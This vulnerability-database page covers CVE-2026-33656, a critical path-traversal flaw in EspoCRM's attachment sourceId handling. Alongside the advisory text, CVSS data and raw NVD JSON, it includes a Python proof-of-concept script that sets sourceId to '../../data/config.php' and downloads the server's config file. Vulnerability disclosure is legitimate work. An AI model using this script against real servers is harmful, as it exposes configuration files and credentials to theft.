Security Vulnerability Report
中文
CVE-2026-33656 CVSS 9.1 CRITICAL

CVE-2026-33656

Published: 2026-04-22 21:17:05
Last Modified: 2026-04-27 17:04:54

Description

EspoCRM is an open source customer relationship management application. Prior to version 9.3.4, EspoCRM's built-in formula scripting engine allowing updating attachment's sourceId thus allowing an authenticated admin to overwrite the `sourceId` field on `Attachment` entities. Because `sourceId` is concatenated directly into a file path with no sanitization in `EspoUploadDir::getFilePath()`, an attacker can redirect any file read or write operation to an arbitrary path within the web server's `open_basedir` scope. Version 9.3.4 fixes the issue.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:espocrm:espocrm:*:*:*:*:*:*:*:* - VULNERABLE
EspoCRM < 9.3.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# Proof of Concept for CVE-2026-33656 # This script demonstrates the concept of exploiting the sourceId manipulation. # Requires Admin privileges. import requests def exploit(target_url, admin_session_id, attachment_id, malicious_path): """ Exploit the sourceId vulnerability to write/read arbitrary files. """ headers = { "Cookie": f"ESPOM_SID={admin_session_id}", "Content-Type": "application/json" } # Step 1: Update the attachment's sourceId using Formula Script or API # The goal is to set sourceId to something like '../../../data/config.php' payload = { "sourceId": malicious_path } update_url = f"{target_url}/api/v1/Attachment/{attachment_id}" response = requests.patch(update_url, json=payload, headers=headers) if response.status_code == 200: print(f"[+] Successfully updated sourceId for attachment {attachment_id}") print(f"[+] Attempting to access file at: {malicious_path}") # Step 2: Trigger file read operation (e.g., downloading the attachment) download_url = f"{target_url}/api/v1/Attachment/{attachment_id}/download" file_response = requests.get(download_url, headers=headers) if file_response.status_code == 200: print("[+] File content retrieved:") print(file_response.text) else: print("[-] Failed to retrieve file.") else: print("[-] Failed to update attachment.") if __name__ == "__main__": # Example usage TARGET = "http://localhost/espocrm" SESSION = "admin_session_cookie_here" ATTACHMENT_ID = "target_attachment_id" # Path traversal payload to read config file PAYLOAD_PATH = "../../data/config.php" exploit(TARGET, SESSION, ATTACHMENT_ID, PAYLOAD_PATH)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33656", "sourceIdentifier": "[email protected]", "published": "2026-04-22T21:17:05.330", "lastModified": "2026-04-27T17:04:54.173", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "EspoCRM is an open source customer relationship management application. Prior to version 9.3.4, EspoCRM's built-in formula scripting engine allowing updating attachment's sourceId thus allowing an authenticated admin to overwrite the `sourceId` field on `Attachment` entities. Because `sourceId` is concatenated directly into a file path with no sanitization in `EspoUploadDir::getFilePath()`, an attacker can redirect any file read or write operation to an arbitrary path within the web server's `open_basedir` scope. Version 9.3.4 fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:espocrm:espocrm:*:*:*:*:*:*:*:*", "versionEndExcluding": "9.3.4", "matchCriteriaId": "C81517CA-6567-41DC-A0A9-309FFD7B48E8"}]}]}], "references": [{"url": "https://github.com/espocrm/espocrm/security/advisories/GHSA-7922-x7cf-j54x", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/espocrm/espocrm/security/advisories/GHSA-7922-x7cf-j54x", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}